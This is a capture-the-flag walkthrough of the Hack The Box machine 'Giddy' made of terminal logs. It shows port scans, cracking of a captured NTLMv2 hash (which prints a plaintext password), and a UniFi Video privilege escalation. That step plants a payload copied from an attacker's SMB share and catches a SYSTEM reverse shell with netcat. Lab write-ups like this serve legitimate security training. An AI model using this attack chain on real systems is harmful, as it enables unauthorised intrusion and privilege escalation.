┌──(mikannse㉿kali)-[~] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.104 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 21:49 CST Nmap scan report for 10.10.10.104 Host is up (0.081s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https 3389/tcp open ms-wbt-server 5985/tcp open wsman
┌──(mikannse㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p80,443,3389,5985 10.10.10.104 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 21:50 CST Nmap scan report for 10.10.10.104 Host is up (0.22s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 443/tcp open ssl/http Microsoft IIS httpd 10.0 |_ssl-date: 2024-09-07T13:41:24+00:00; -10m10s from scanner time. |_http-server-header: Microsoft-IIS/10.0 | tls-alpn: | h2 |_ http/1.1 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server | ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite | Not valid before: 2018-06-16T21:28:55 |_Not valid after: 2018-09-14T21:28:55 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: GIDDY | NetBIOS_Domain_Name: GIDDY | NetBIOS_Computer_Name: GIDDY | DNS_Domain_Name: Giddy | DNS_Computer_Name: Giddy | Product_Version: 10.0.14393 |_ System_Time: 2024-09-07T13:41:14+00:00 |_ssl-date: 2024-09-07T13:41:24+00:00; -10m10s from scanner time. | ssl-cert: Subject: commonName=Giddy | Not valid before: 2024-09-06T13:36:08 |_Not valid after: 2025-03-08T13:36:08 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2016 (89%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2016 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 99.65 seconds
┌──(mikannse㉿kali)-[~/HTB/giddy] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status xNnWo6272k7x (Stacy) 1g 0:00:00:01 DONE (2024-09-07 22:51) 0.8695g/s 2338Kp/s 2338Kc/s 2338KC/s xamton..x9820x Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
┌──(mikannse㉿kali)-[~/HTB/giddy] └─$ searchsploit unifi video ------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------- --------------------------------- Ubiquiti Networks UniFi Video Default - 'crossdomain.xml' Security | php/webapps/39268.java Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation | windows/local/43390.txt ------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
存在一个本地提权漏洞,漏洞介绍:
Ubiquiti UniFi Video for Windows 默认安装到“C:\ProgramData\unifi-video\”，并且还附带一项名为“Ubiquiti UniFi Video”的服务。其可执行文件“avService.exe”位于同一目录中，也在 NT AUTHORITY/SYSTEM 帐户下运行。
*Evil-WinRM* PS C:\programdata\unifi-video> copy \\10.10.14.16\share\taskkill.exe . *Evil-WinRM* PS C:\programdata\unifi-video> Stop-Service -Name Unifivideoservice -Force Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop... Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop...
┌──(mikannse㉿kali)-[~/HTB/giddy] └─$ rlwrap -cAr nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.16] from (UNKNOWN) [10.10.10.104] 49882 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.
